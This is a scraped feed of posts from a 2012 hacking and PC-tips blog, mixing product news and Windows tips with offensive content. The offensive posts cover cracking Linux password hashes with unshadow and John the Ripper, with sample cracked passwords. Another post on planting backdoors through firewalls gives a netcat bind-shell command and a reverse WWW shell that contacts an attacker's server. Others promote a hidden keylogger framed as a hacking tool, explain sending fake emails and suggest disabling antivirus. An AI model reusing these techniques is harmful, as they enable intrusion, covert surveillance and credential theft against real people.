OFFENSIVE SECURITY & PC

Google Play Introduced

noreply@blogger.com (CWG2022) — Mon, 19 Mar 2012 09:34:00 +0000

If you go in to the address market.google.com it will redirect itself to a new address that is play.google.com.
I am a bit late in writing this but i think many dont even care to go in to market and find the apps they need.
Google Play is going to be your one stop shop for all your favourite entertainment.With over 450,000 apps, millions of songs and books and thousands of movies,Google play has something for you.
Actually Google Play is divided in to 4 main parts

Google Play for Movies
Google Play for Music
Google Play for Apps and Games
Google Play for Books

Google Play Cloud

Google play offers more facilities for its users.It combines the power of cloud and user experience together. You can possibly buy a book on your android device and just read and enjoy the book in web.Google Play makes it possible to their customers.You can read ,watch,listen your content any time and anywhere you wish.No software required and no wires or syncing needed and the best part-Google Play cloud is free to use.

Share what you love

Google Play offers another option to Discover,shop,enjoy and share music,movies,books and apps anytime anywhere.When you discover an amazing song,a nail-biting horror or a memorable movie,the first thing you want to do is to share with your best friends.Seeing that in mind integrating Google + in to Google Play they provide you an option to share it directly to Google +.You can easily share it on your wall or send an email in just one click.

Google Play for Movies

With Google Play you can watch HD movies including new releases,award-winning films and your favourite classics on any Android device or on the Web.Stream Movies and watch them online or you can download the movie which makes offline viewing possible.
Rent Movies and watch them instantly.Alternatively download your movie for offline viewing and view it later using Google Play Movies app or watch it directly on the Web.

Google Play for Music

With Google Play you can find new artists and browse through millions of tracks just for you.You can also store up to 20,000 songs from your own library for free and instantly access your music on any Android devices or the web and the good news is there is no more syncing or wires.
Sharing is caring isn't it? Google really pays respect to those words.Google Play allows you to give your friends a free listen to all those who are on Google +. And you get a free listen when they share what they have bought with you.It's sharing, discovering and buying music that Google had made just in to a Play.
Keep all your music in one place.All the music you get is stored in your music library automatically where as i said you can store up to 20,000 of your own songs for free.This helps you to save your space and also enjoy your collection anywhere.

Google Play for Books

Are you searching over old books in the library for a new interesting book? Well you needn't to do that again because Google Play brings you an easy way to search for your favourite authors and new books in their collection.With Google Play,your next great read is always at fingertips.

You can shop the books at any time from anywhere in your Android Device or Web.Choose from millions of titels,browse new releases,sample books for free,and find the latest up-coming authors.

You can also share what you love with your family and friends via Bluetooth,Gmail or Google +.

All your books will be stored in cloud so that you can access it from anywhere.

Google Play For Apps and Games

Looking for an app for your Android Device.Then you must have heard why android market has the biggest app collection ever.Yes Android Market goes into new meaning with Google Play while it continues to accept apps from all developers around.With over 450,000 Android Apps and games your phonetruly is your mobile entertaining system,organizer and portable computer all wrapped in one.

Finding new apps has always been easy on Android Market.It gets more easier with the new Google Play.

If you are ready with the app you need dont even bother to touch your system to install your new app.Just select your device from web and find the app in your device. Isn't it easy?

Play Your PC Games on PSP

noreply@blogger.com (CWG2022) — Wed, 14 Mar 2012 13:21:00 +0000

I have earlier posted on how we can play PSP games on PC. Now let us think of playing the opposite.
We will do this step by step.

Download PSPdisp Click here to download.
Disable your antivirus before you start the installation because those may interrupt
The Complete process of copying your data is completed while you install the software

Let me help you with that too
While Installing the software on your PC the OS will come up with the statement that the drivers are not proper.Just ignore the warning and continue with the installation.
After the drivers are installed a window will open up like this.This will be happening during the installation of software.

In this window You should see a set of instructions on how to connect and get your PSP ready.Follow all the steps and i dont feel it necessary to explain all steps coz all these are easy and you can do it with ease.
After completing the five steps in the window just click Copy Files Button
Your PSP will start working from this moment and if the copying is completed successfully it should report you that in a new window.
Now the setup will resume from the point where it stopped and asked you to copy the files.
After completing the setup you should see another window.Just untick the view help file and click Finish

In your tray bar you will see a popup message showing your IP address.You will have to note this down.It should be something like 192.168.X.X
You have two options to make your PSP work on your PC.You can connect the PSP in two ways using you LAN address and USB.
In the tray right click the icon of PSPdisp and then go to connection and select the option you need.If you are selecting the LAN enter your IP address you noted down earlier in your PSP.Connect it to your PC and actually you can play anything in your PSP,Browse the internet and much more
If you are selecting the USB connection option then you have to just connect it with your USB cable and you can use all functions as in LAN.

Any problems on this article can be mentioned as comments in this site.All your comments are welcome.

I will try to get a much better way (if exists) to play the games on PSP.If you know please leave it in the comments

Enjoy :)

Linux Password Cracking: Explain unshadow and john commands ( john the ripper tool )

noreply@blogger.com (CWG2022) — Mon, 27 Feb 2012 04:59:00 +0000

John cracking modes

John can work in the following modes:
[a] Wordlist : John will simply use a file with a list of words that will be checked against the passwords. See RULES for the format of wordlist files.

[b] Single crack : In this mode, john will try to crack the password using the login/GECOS information as passwords.

[c] Incremental : This is the most powerful mode. John will try any character combination to resolve the password. Details about these modes can be found in the MODES file in john’s documentation, including how to define your own cracking methods.

Install John the Ripper Password Cracking Tool

John the ripper is not installed by default. If you are using Debian / Ubuntu Linux, enter:
$ sudo apt-get install john

Note: RHEL, CentOS, Fedora, Redhat Linux user can grab john the ripper here. Once downloaded use rpm command:
# rpm -ivh john*

How do I use John the ripper to check weak passwords / crack passwords?

First use the unshadow command to combines the /etc/passwd and /etc/shadow files so John can use them. You might need this since if you only used your shadow file, the GECOS information wouldn’t be used by the "single crack" mode, and also you wouldn’t be able to use the -shells option. On a normal system you’ll need to run unshadow as root to be able to read the shadow file. So login as root or use old good sudo / su command under Debian / Ubuntu Linux:
$ sudo /usr/sbin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db

RHEL / CentOS / Fedora Linux user type the following command:
# /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db

To check weak password (crack password), enter the following command:

WARNING! These examples uses brute-force ~ CPU-time consuming password cracking techniques.
To use John, you just need to supply it a password file created using unshadow command along with desired options. If no mode is specified, john will try "single" first, then "wordlist" and finally "incremental" password cracking methods.
$ john /tmp/crack.password.db

Output:

john /tmp/crack.password.db
Loaded 1 password (FreeBSD MD5 [32/32])
This procedure will take its own time. To see the cracked passwords, enter:
$ john -show /tmp/crack.password.db

test:123456:1002:1002:test,,,:/home/test:/bin/bash
didi:abc123:1003:1003::/home/didi:/usr/bin/rssh
2 passwords cracked, 1 left
Above output clearly indicates - user test has 123456 and didi has abc123 password.

Website Hacking With Ubuntu

noreply@blogger.com (CWG2022) — Mon, 20 Feb 2012 22:57:00 +0000

Nikto : Command line tool for scanning web servers
Nikto is a website vulnerability scanning tool(Free and Open Source) made fr0m Perl(A script programming language like php or python).Hence you can use Nikto as a web server assessment tool for finding insecure files and programs on web server(Specialy against XSS vulnerabilities;Cross Site Scripting is one of the important hacking techniques used thesedays by the most of the attackers).

Scanning Websites Using Nikto will give following information :

misconfigured server and software
default programs and files
insecure programs and files
outdated programs and servers or plugins

Nikto is available for all the major Operating systems i.e for Linux,MacOSX and windows(By using ActiveState perl).

How to install Nikto in Ubuntu 10.04 :
In Ubuntu 10.04 you can easily install the Nikto by using Synaptic Package Manager.
1.Open the Synaptic Package Manager and search for “nikto”.
2.Check the box for install.
3.Click on Apply changes to install the checked packages.
4.It may ask for installing other dependencies if so then click ok.
5.Installation will begin and wait for its completion.
6.After completion of the installation you can invoke Nikto fr0m the terminal.

Invoking Nikto fr0m Ubuntu 10.04 shell :
Hit CTRL+ALT+T (Default shortcut for starting terminal) or start it fr0m Applications->Accessories->terminal.

Some Commonly used commands for hacking :
nikto -host : to specify the host to scan

(after host you can put host name or IP address of the target web server)

-port : TCP port(s) to scan.You can put by using comma e.g (80,443) or by giving the range of port such as (80-100)

-cgidirs : For scanning specified cgi directories.

-dbcheck : Check the scan databases for syntax errors.

-update : Updates the plugins and databases fr0m cirt.net.

-tunning : this option is used to tune the scan test against the target.

-format : It is used to specify the file format of the output.

For more information about the commands used in Nikto you can go to usr->share->doc->nikto->nikto_mannual.html or go to its official website. http://cirt.net/nikto2
Examples of website hacks :
nikto -host targethostname.com

- Nikto v2.03/2.04
—————————————————————————
+ Target IP: xxx.xxx.xxx.xxx
+ Target Hostname: targethostname.com
+ Target Port: 80
+ Start Time: 2010-05-24 16:43:05
—————————————————————————
+ Server: Apache
- /robots.txt – retrieved but it does not contain any ‘disallow’ entries (which is odd). (GET)
+ OSVDB-0: Retrieved X-Powered-By header: PHP/5.2.12
+ OSVDB-5433: WebLogic may reveal its internal IP or hostname in the Location header. The value is “http://targethostname.com./”.
+ OSVDB-0: Non-standard header -cookie returned by server, with contents: wordpress_test_cookie=WP+Cookie+check; path=/
+ OSVDB-0: Non-standard header x-pingback returned by server, with contents: http://targethostname.com/xmlycp.php
+ OSVDB-0: Non-standard header x-powered-by returned by server, with contents: PHP/5.2.12

Convert Your .apk files to .jar files

noreply@blogger.com (CWG2022) — Sat, 11 Feb 2012 16:46:00 +0000

*Links Updated.Sorry for the technical problems.Keep visiting our sites. CHEERS
I have searched a lot for a bit of information on converting .apk files to .jar files. I will share it with you.Let's get sarted.

Download .apk file from market

Download any app from the Android Market [Go]
Install Astro File Manager from Android Market [Go]
Open Astro > Tools > Application Manager/Backup and select the application to backup on SD card.
Mount the phone as USB and access 'BACKUPAPPS' folder to find the apk of targetapp.(lets call this targetapp.apk).
Copy it to your hard disk.

Decomiling apk to Dex format

Download Dex2Jar [GO]
Android runs applications which are in Dalvik Executable (.dex) format.
Run the following command to convert apk to jar.

dex2jar targetapp.apk file(./dex2jar targetapp.apk on terminal)

File 'targetapp.apk.dex2jar.jar' is created

[Click to Enlarge]

Viewing/Decompiling the Jar files to Java

Method 1 : Use JavaDecomiler (JD)

Open 'targetapp.apk.dex2jar.jar' with jd-gui [Click to Download]
File > Save All Sources to save the class files in jar to java files.

Method 2 : JAD

Extract contents of jar file on to a folder named src. Use and unarchival utility like 7zip.
Keep 'src' folder in the same directory where JAD and targetapp jar is present.
Open JAD in cmd and execute the following command

jad -o -r -sjava -dsrc src/**/*.class (./jad on terminal)

Now src will contain decompiled Java files ready for manual code review.

Enjoy :)

Placing Backdoors through Firewalls

noreply@blogger.com (CWG2022) — Thu, 09 Feb 2012 11:19:00 +0000

----[ Introduction

This article describes possible backdoors through different firewall architectures. However, the material can also be applied to other environments to describe how hackers (you?) cover their access to a system.

Hackers often want to retain access to systems they have penetrated even in the face of obstacles such as new firewalls and patched vulnerabilities. To accomplish this the attackers must install a backdoor which a) does it's job and b) is not easily detectable. The kind of backdoor needed depends on the firewall architecture used.

As a gimmick and proof-of-concept, a nice backdoor for any kind of intrusion is included, so have fun.

----[ Firewall Architectures

There are two basic firewall architectures and each has an enhanced version.

Packet Filters:

This is a host or router which checks each packet against an allow/deny ruletable before routing it through the correct interface. There are very simple ones which can only filter from the origin host, destination host and destination port, as well as good ones which can also decide based on incoming interface, source port, day/time and some tcp or ip flags.
This could be a simple router, f.e. any Cisco, or a Linux machine with firewalling activated (ipfwadm).

Stateful Filters:

This is the enhanced version of a packet filter. It still does the same checking against a rule table and only routes if permitted, but it also keeps track of the state information such as TCP sequence numbers. Some pay attention to application protocols which allows tricks such as only opening ports to the interiour network for ftp-data channels which were specified in a permitted ftp session. These filters can (more or less) get UDP packets (f.e. for DNS and RPC) securely through the firewall. (Thats because UDP is a stateless protocol. And it's more difficult for RPC services.)
This could be a great OpenBSD machine with the ip-filter software, a Cisco Pix, Watchguard, or the (in)famous Checkpoint FW-1.
Proxies / Circuit Level Gateways:

A proxy as a firewall host is simply any server which has no routing activated and instead has proxy software installe.
Examples of proxy servers which may be used are squid for WWW, a sendmail relay configuration and/or just a sockd.

Application Gateways:

This is the enhanced version of a proxy. Like a proxy, for every application which should get through the firewall a software must be installed and running to proxy it. However, the application gateway is smart and checks every request and answer, f.e. that an outgoing ftp only may download data but not upload any, and that the data has got no virus, no buffer overflows are generated in answers etc. One can argue that squid is an application gateway, because it does many sanity checks and let you filter stuff but it was not programmed for the installation in a secure environment and still has/had security bugs.
A good example for a freeware kit for this kind is the TIS firewall toolkit (fwtk).

Most firewalls that vendors sell on the market are hybrid firwalls, which means they've got more than just one type implemented; for example the IBM Firewall is a simple packet filter with socks and a few proxies. I won't discuss which firewall product is the best, because this is not a how-to-by-a-firewall paper, but I will say this: application gateways are by far the most secure firewalls, although money, speed, special protocols, open network policies, stupidity, marketing hype and bad management might rule them out.

----[ Getting in

Before we talk about what backdoors are the best for which firewall architecture we should shed a light on how to get through a firewall the first time. Note that getting through a firewall is not a plug-n-play thing for script-kiddies, this has to be carefully planned and done.

The four main possibilities:

Insider:

There's someone inside the company (you, girl/boy-friend, chummer) who installs the backdoor. This is the easiest way of course.

Vulnerable Services:

Nearly all networks offer some kind of services, such as incoming email, WWW, or DNS. These may be on the firewall host itself, a host in the DMZ (here: the zone in front of the firewall, often not protected by a firewall) or on an internal machine. If an attacker can find a hole in one of those services, he's got good chances to get in. You'd laugh if you'd see how many "firewalls" run sendmail for mail relaying ...

Vulnerable External Server:

People behind a firewall sometimes work on external machines. If an attacker can hack these, he can cause serious mischief such as the many X attacks if the victim uses it via an X-relay or sshd. The attacker could also send fake ftp answers to overflow a buffer in the ftp client software, replace a gif picture on a web server with one which crashs netscape and executes a command (I never checked if this actually works, it crashs, yeah, but I didn't look through this if this is really an exploitable overflow). There are many possibilities with this but it needs some knowledge about the company. However, an external web server of the company is usually a good start. Some firewalls are configured to allow incoming telnet from some machines, so anyone can sniff these and get it. This is particulary true for the US, where academic environments and industry/military work close together.

Hijacking Connections:

Many companies think that if they allow incoming telnet with some kind of secure authentication like SecureID (secure algo?, he) they are safe. Anyone can hijack these after the authentication and get in ... Another way of using hijacked connections is to modify replies in the protocol implementation to generate a buffer overflow (f.e. with X).

Trojans:

Many things can be done with a trojan horse. This could be a gzip file which generates a buffer overflow (well, needs an old gzip to be installed), a tar file which tampers f.e. ~/.logout to execute something, or an executable or source code which was modified to get the hacker in somehow. To get someone running this, mail spoofing could be used or replacing originals on an external server which internal employees access to update their software regulary (ftp xfer files and www logs can be checked to get to know which files these are).

----[ Placing the Backdoors

An intelligent hacker will not try to put the backdoors on machines in the firewall segment, because these machines are usually monitored and checked regulary. It's the internal machines which are usually unprotected and without much administration and security checks.

I will now talk about some ideas of backdoors which could be implemented. Note that programs which will/would run on an stateful filter will of course work with a normal packet filter too, same for the proxy. Ideas for an application gateway backdoor will work for any architecture.
Some of them are "active" and others "passive". "Active" backdoors are those which can be used by a hacker anytime he wishes, a "passive" one triggers itself by time/event so an attacker has to wait for this to happen.

Packet Filters:

It's hard to find a backdoor which gets through this one but does not work for any other. The few ones which comes into my mind
is a) the ack-telnet. It works like a normal telnet/telnetd except it does not work with the normal tcp handshake/protocol but uses TCP ACK packets only. Because they look like they belong to an already established (and allowed) connection, they are permitted. This can be easily coded with the spoofit.h of Coder's Spoofit project (http://reptile.rug.ac.be/~coder).
b) Loki from Phrack 49/51 could be used too to establish a tunnel with icmp echo/reply packets. But some coding would be needed to to be done.
c) daemonshell-udp is a backdoor shell via UDP
(http://www.thc.org look for thc-uht1.tgz)
d) Last but not least, most "firewall systems" with only a screening router/firewall let any incoming tcp connection from the source port 20 to a highport (>1023) through to allow the (non-passive) ftp protocol to work. "netcat -p 20 target port-of-bindshell" is the fastest solution for this one.

Stateful Filters:

Here a hacker must use programs which initiates the connection from the secure network to his external 0wned server. There are many out there which could be used:

active:
tunnel from Phrack 52.
ssh with the -R option (much better than tunnel ... it's a legtimitate program on a computer and it encrypts the datastream).

passive:
netcat compiled with the execute option and run with a time option to connect to the hacker machine (ftp.avian.org).
reverse_shell from the thc-uht1.tgz package (see above) does the same.

Proxies / Circuit Level Gateways:

If socks is used on the firewall, someone can use all those stuff for the stateful filter and "socksify" them. (www.socks.nec.com) For more advanced tools you'd should take a look at the application gateway section.

Application Gateways:

Now we get down to the interesting stuff. These beasts can be intelligent so some brain is needed.
active:
(re-)placing a cgi-script on the webserver of the company, which allows remote access. This is unlikely because it's rare that the webserver is in the network, not monitored/ checked/audited and accessible from the internet. I hope nobody needs an example on such a thing ;-)
(re-placing) a service/binary on the firewall. This is dangerous because those are audited regulary and sometimes even sniffed on permanent ...
Loading a loadable module into the firewall kernel wich hides itself and gives access to it's master. The best solution for an active backdoor but still dangerous.
passive:
E@mail - an email account/mailer/reader is configured in a way to extract hidden commands in an email (X-Headers with weird stuff) and send them back with output if wanted/needed.
WWW - this is hard stuff. A daemon on an internal machine does http requests to the internet, but the requests are in real the answers of commands which were issued by a rogue www server in a http reply. This nice and easy beast is presented below (->Backdoor Example: The Reverse WWW Shell)
DNS - same concept as above but with dns queries and replies. Disadvantage is that it can not carry much data. (http://www.icon.co.za/~wosp/wosp.dns-tunnel.tar.gz, this example needs still much coding to be any effective)

----[ Backdoor Example: The Reverse WWW Shell

This backdoor should work through any firewall which has got the security policy to allow users to surf the WWW (World Wide Waste) for information for the sake and profit of the company.
For a better understanding take a look at the following picture and try to remember it onwards in the text:

+--------+ +------------+ +-------------+
|internal|--------------------| FIREWALL |--------------|server owned |
| host | internal network +------------+ internet |by the hacker|
+--------+ +-------------+
SLAVE MASTER

Well, a program is run on the internal host, which spawns a child every day at a special time. For the firewall, this child acts like a user, using his netscape client to surf on the internet. In reality, this child executes a local shell and connects to the www server owned by the hacker on the internet via a legitimate looking http request and sends it ready signal. The legitimate looking answer of the www server owned by the hacker are in reality the commands the child will execute on it's machine it the local shell. All traffic will be converted (I'll not call this "encrypted", I'm not Micro$oft) in a Base64 like structure and given as a value for a cgi-string to prevent caching.
Example of a connection:

Slave
GET /cgi-bin/order?M5mAejTgZdgYOdgIO0BqFfVYTgjFLdgxEdb1He7krj HTTP/1.0

Master replies with
g5mAlfbknz
The GET of the internal host (SLAVE) is just the command prompt of the shell, the answer is an encoded "ls" command from the hacker on the external server (MASTER). Some gimmicks:

The SLAVE tries to connect daily at a specified time to the MASTER if wanted; the child is spawned because if the shell hangs for whatever reason you can check & fix the next day; if an administrator sees connects to the hacker's server and connects to it himself he will just see a broken webserver because there's a Token (Password) in the encoded cgi GET request; WWW Proxies (f.e. squid) are supported; program masks it's name in the process listing ...

Best of all: master & slave program are just one 260-lines perl file ... Usage is simple: edit rwwwshell.pl for the correct values, execute "rwwwshell.pl slave" on the SLAVE, and just run "rwwwshell.pl" on the MASTER just before it's time that the slave tries to connect.

Well, why coding it in perl? a) it was very fast to code, b) it's highly portable and c) I like it. If you want to use it on a system which hasn't got perl installed, search for a similar machine with perl install, get the a3 compiler from the perl CPAN archives and compile it to a binary. Transfer this to your target machine and run that one.

----[ The Source

Grab it here ...

rwwwshell v2.0

----[ Security

Now it's an interesting question how to secure a firewall to deny/detect this. It should be clear that you need a tight application gateway firewall with a strict policy. email should be put on a centralized mail server, and DNS resolving only done on the WWW/FTP proxies and access to WWW only prior proxy authentication. However, this is not enough. An attacker can tamper the mailreader to execute the commands extracted from the crypted X-Headers or implement the http authentication into the reverse www-shell (it's simple). Also checking the DNS and WWW logs/caches regulary with good tools can be defeated by switching the external servers every 3-20 calls or use aliases.

A secure solution would be to set up a second network which is connected to the internet, and the real one kept seperated - but tell this the employees ... A good firewall is a big improvement, and also an Intrusion Detection Systems can help. But nothing can stop a dedicated attacker.

Ubuntu 12.04 Alpha 2 Released

noreply@blogger.com (CWG2022) — Fri, 03 Feb 2012 10:24:00 +0000

Features

Focused on a more stable user experience with small tweaks
New Unity Configuration Options have been added up with User Interface (earlier called 'Appearence') in the System Settings
The leaner fater UNITY 5.0 is included which brings minor new features to desktop including Lens Quicklists

HOME FOLDER QUICKLIST

Additonal options in CCSM for adding a 'Show Desktop' item, Changing Dash colour, etc.

Unity’s Overlay Scrollbars sport a slightly chunkier look: -

General Stuff:-

Alpha 2 specifics aside there are a number of other general changes testers should be aware of:

Rhythmbox is the default music player
There is no Ubuntu One Music Store plugin at present
Tomboy and gBrainy are no longer installed by default
LibreOffice 3.5 beta 2 is installed
‘Apport’ Crash reporting is enabled by default.

http://cdimage.ubuntu.com/releases/precise/alpha-2/ "copy link to download

Weird Microsoft(Read The Whole Post)

noreply@blogger.com (CWG2022) — Sun, 29 Jan 2012 09:03:00 +0000

Things that MICROSOFT Could not Explain!

TRY this....

MAGIC #1

Found that nobody can create a FOLDER anywhere on the Computer which can be named as "CON". This is something funny and inexplicable? At Microsoft the whole Team, couldn't answer why this happened! TRY IT NOW, IT WILL NOT CREATE A "CON" FOLDER

MAGIC #2

For those of you using Windows, do the following:
1.) Open an empty notepad file
2.) Type "Bush hid the facts" (without the quotes)
3.) Save it as whatever you want.
4.) Close it, and re-open it.
Noticed the weird bug? No one can explain!

MAGIC #3

Again this is something funny and can't be explained?
At Microsoft the whole Team, including Bill Gates, couldn't answer why this happened!
It was discovered by a Brazilian. Try it out yourself?
Open Microsoft Word and type
=rand (200, 99)
And then press ENTER And see the magic?..!

Magic #4

Did you know that a flight number from one of the planes that hit one of the two WTC towers on 9/11 was Q33N. In Notepad / WordPad or MS Word, type that flight number i.e Q33N. Increase the font size to 72. Change the font to Wingdings. ..... u will be amazed by the findings!!!

All best Softwares in Just One Installer Pack

noreply@blogger.com (CWG2022) — Sat, 28 Jan 2012 04:16:00 +0000

We have all faced problems when we re-install windows and install all those programs which we had earlier.Some may be with us but some may not be.It is always good to keep a collection of these software's,which are necessary for a PC to work and get the newly installed Windows like the old one.
Smart Installer pack brings you this in just one .exe file.It presents 70 freeware softwares for your PC. It has a very good user interface and eliminates the time you need to search , wait ,download and install the softwares.
Features

Easy, intuitive user interface design
Contains usual start-up software
Greatly reduces the time needed to install that software ,eliminating some of the unnecessary searching, waiting , etc.
All free
The installer comes packed in a convenient executable file
You can choose which software you want to download and install from within the program using thr suggestive icons
The application is made as small as possible
Install fast, fast , faster

If you are really interested in the software you can download it.
Download The Latest Version of Smart Installer Pack
Softwares Included

Created by IT

6 Tips for Windows 8

noreply@blogger.com (CWG2022) — Sat, 31 Dec 2011 03:36:00 +0000

Windows 8 is not yet released but it has created quite a hot discussion in the cyber world.Let me give you 6 important tips for windows 8.Windows 8 is mainly made for the touchscreen devices as they seem to be the next big thing.

You dont have to use the ribbon interface in the explorer windows

You can change this in the Computer Configuration.Select "Administrative Templates" "Windows Components" and finally "Windows Explorer". You have to enable "Start Windows Explorer with the Ribbon minimized.

Plenty off new keyboard shortcuts 4 U

While windows retains the old conventional keyboard shortcuts it has also introduced a sack of new simple keyboard shortcuts.The key "W" will bring up settings search.Windows and "C" will call up start menu with date and time.Windows and "Q" will bring up the application search. These are only samples of the new shortcuts of this new OS.

You can uninstall programs from the Start Menu

To uninstall a program you have to right click ion the icon for the program. To get rid of the program you have to select uninstall and click on it a second time.

Bring Back old control panel interface

If you feel uncomfortable to use the new control panel interface just select "More Settings" at the bottom of the screen.You will see an option for selecting the old control panel interface.

Open Run Dialog Box and Type in "netplwiz" to launch the user account controls in 8.Uncheck the option which asks for username and password. Restart your system and automatic login is set.

Picture password for account

Instead of the conventional alphanumeric passwords you can use passwords with pictures you choose.You create a series of gestures and save it.The next time you login you draw the same gestures to login.So you dont better make it a hard one and complicated one.

If you have liked this share it with your friends too & give us a thumbs up :)

Anonumous Email Service

noreply@blogger.com (CWG2022) — Sun, 25 Dec 2011 10:02:00 +0000

You need a free hosting account which supports PHP and SendMail.The best one is x10hosting.com. Create an Account there.
Now in a new notepad paste this PHP code .Click here for code
Save it everywhere you want as mail.php,then upload it in your host you created(x10hosting)via FTP.
Now we are ready.Just go to yourname.x10hosting.com/mail/php and start sending your fake emails.

Windows Phone 7.5 Denial of Service Attack Vulnerability

noreply@blogger.com (CWG2022) — Sat, 17 Dec 2011 01:49:00 +0000

A malicious SMS was sent to A windows phone and the message hub was attacked.This had already happened to Android and Apple.Hackers could get complete control of Apple OS but not of Android.Any way take a look at the video and leave your comments.

Create your own bootable Windows(XP,VISTA&7)

noreply@blogger.com (CWG2022) — Fri, 16 Dec 2011 02:04:00 +0000

There are many ways to create.But the method shown below is the easiest one.
To begin you need a pendrive of 2 GB for XP and 4-8 GB pendrive for Vista and 7
--------------------------------------------------------------------------------------------------------

Download WintoFlash from here.(Its a brothersoft client you can download the software.For your safety!).
Click the Windows Setup transfer wizard and select next.
Here you will need to define two paths where the 'Windows File Path' points to the location of the Windows Installation disk and the USB DRIVE specifies the location of Pendrive.

that will be used for creating the bootable installation routine. Click on'Select' and choose an appropiate path for both.
Accept the Windows Licence Agreement and click Continue.
The warning message will make you feel terrified.Its nothing but just to notify that you are going to format the prndrive.If you have used the wrong one you can change it.

Now you should have crated the file.Now you should have the access ti BIOS and Change bootable Device Priority to USB.You should have started the installation if you have followed the above.......... :)

Ardamax Tutorial for Hacking

noreply@blogger.com (CWG2022) — Sun, 11 Dec 2011 12:09:00 +0000

Ardamax Keylogger is an invisible keylogger that records all user activity and saves it to an encrypted log file. The log file can be stored as a text or web page. Use this keylogger to find out what is happening on your computer while you are away, maintain a backup of your typed data automatically.

This invisible spy application is designed for 2000, XP, 2003, Vista and Windows 7.

Keylogger Features:

Email log delivery - keylogger can send you recorded logs through e-mail delivery at set times - perfect for remote monitoring!

FTP delivery - Ardamax Keylogger can upload recorded logs through FTP delivery.

Network delivery - sends recorded logs through via LAN.

Clipboard logging - capture all text copied to the Windows Clipboard.

Invisible mode makes it absolutely invisible to anyone. Ardamax Keylogger is not visible in the task bar, system tray, Windows 2000/XP/2003/Vista/Windows 7 Task Manager, process viewers (Process Explorer, WinTasks etc.), Start Menu and Windows Startup list.

Visual surveillance - periodically makes screenshots and stores the compressed images to log.

Chat monitoring - Ardamax Keylogger is designed to record and monitor both sides of a conversation in following chats:

AIM
Windows Live Messenger 2011
ICQ
Skype
Yahoo Messenger
Google Talk
Miranda
QiP

Security - allows you to protect program settings, Hidden Mode and Log file.

Application monitoring - keylogger will record the application that was in use that received the keystroke!

Time/Date tracking - it allows you to pinpoint the exact time a window received a keystroke!

Powerful Log Viewer - you can view and save the log as a HTML page or plain text with keylogger Log Viewer.

Small size – Ardamax Keylogger is several times smaller than other programs with the same features. It has no additional modules and libraries, so its size is smaller and the performance is higher.

Ardamax Keylogger fully supports Unicode characters which makes it possible to record keystrokes that include characters from Japanese, Chinese, Arabic and many other character sets.

It records every keystroke. Captures passwords and all other invisible text.

Other Features:

Windows 2000/2003/XP/Vista/Windows 7 support
Monitors multi-user machines
Automatic startup
Friendly interface
Easy to install

You can download Ardamax Keylogger v3.7 with a serial number from here.

Here is a video tutorial found on You Tube

FIND Facebook Offline Friends

noreply@blogger.com (CWG2022) — Thu, 08 Dec 2011 14:20:00 +0000

This time I am writing a topic that took me ,I think, at least a small percent of Cyber World.
Any way I have been always thinking to figure out my friends who stay offline but are on FB.
To do this you have 2 ways.

1)You must have figured out what I am up to.For those who haven't got even a samll bit of Idea.I can Explain the trick
FB's bar upon your chat list is the way expand the first frame and keep a clear idea of the appearing posts.This will give you an idea of friends who are on FB but stand offline.
2)The second way is much simpler but less effective.
Keep all you earlier chat boxes closed and leave chat boxes of your online friends.
Now refreh the page .Keep doing it unless the chat portion takes a bit time to load.Observe carefully.
The chat log on load first time will show a bit of friends on Facebook.Then they will hide offline friends and give you only online friends with green dot.The first time you see some people among those Green Dotted guys.Those are your friends who are on FB but are offline
------------------------------------:)-------------------------------------------------------------------
Hope you will share.....................

View photos of those who are not your friends

noreply@blogger.com (CWG2022) — Sat, 03 Dec 2011 17:03:00 +0000

Lock your Computer Easy

noreply@blogger.com (CWG2022) — Mon, 14 Nov 2011 02:11:00 +0000

Very useful when you have to leave your system on for some time and you have to go some where else...

Right click on an empty area of the desktop and choose 'new' then 'shortcut.' The create shortcut wizard will open.
In the first text box, type '%windir%\\System32\\rundll32.exe user32.dll,LockWorkStation' and then give your shortcut an appropriate name on the next page, and hit 'finish.'
You will notice that the shortcut you created has a blank icon. To select a more appropriate one, right click on the shortcut and hit 'properties.' In the 'shortcut' tab, click the 'change icon' button.
Else u can simply press the \"window key + l\" to lock your computer.

You can also use the following keyboard shortcuts with a Microsoft Natural Keyboard or any other compatible keyboard that includes the Windows logo key and the Application key.

Hacking Battlefield 3: Play Without Origin

noreply@blogger.com (CWG2022) — Thu, 10 Nov 2011 01:52:00 +0000

Origin works primarily the way the well-known “Steam” client works (which is owned by Valve), except the steam client literally pioneered this electronic gaming distribution service almost a decade ago in 2003. Origin literally adds nothing to the table except that it is competing with Steam, and you can only play BF3 through Origin, thus requiring all gamers who already have Steam downloaded on their computers to also download Origin.

Not only this, but BF3 (the game which many consider the flagship for Origin) actually runs out of a browser instead of some type of built-in in-game browser interface that would then allow you to track friends, view performance tracks, and set up matches. Now, the idea of running a game through a browser isn’t that painful (although it is very unattractive); however, considering that you are running origin to start a game that runs through a browser, the word redundant comes to mind. Also, requiring you to be online in order to play a game with a single-player campaign is a bit mind-numbing in and of itself.

Luckily, BF3 and Origin Have Already Been Hacked

No more than two weeks after the game has hit shelves, a group of hackers collectively known as Razor1911 have already hacked the BF3 client and taken Origin out of the equation. Unlike many hacks, this does not actually allow illegal distribution or pirating of the game. It simply gives customers more control over the game they purchased, allowing them to run BF3 without having to open Origin.

In the release notes, Razor1911 state: “This release is dedicated to our fans worldwide who bought this game on legal way and don't want to install the trojan from Electronic Arts to play online.”

Precautions

Do keep in mind that, if you would like to continue playing BF3 online on EA’s servers, there may be some risk involved in running the hack. First off, EA is very likely to respond to the hack directly and nullify its functionality as soon as possible. What would be even direr, however, is if EA bans people who used the hack from their servers. So please keep these risks in mind if you would like to hack BF3.

Bypass Firewall In your school/office/home

noreply@blogger.com (CWG2022) — Sun, 09 Oct 2011 04:34:00 +0000

Is your teachers,Manager and your papa rude at you and not allowing you to access Facebook,Orkut or any other site.Understanding this situation I am giving you another post on how to Bypass your firewall.
The software used here is a small but Powerful.Its Is UltraSurf
What should You Do

Download UltraSurf from Here.
You will get a zip file with an .exe file.Open it.
It should start ultrasurf and connect to server automatically.

Even it will open your Internet explorer automatically. Now you can have an unblocked and secure to internet.
If you want to use ultrasurf on Firefox, you need to download the firefox plugin too: download here
If you are connected to internet through a proxy server then ultrasurf will detect it. If somehow it does not detect the proxy server then you can manually enter your proxy server
To manually enter proxy server
Click on Option > Proxy Setting > Manual Proxy Settings

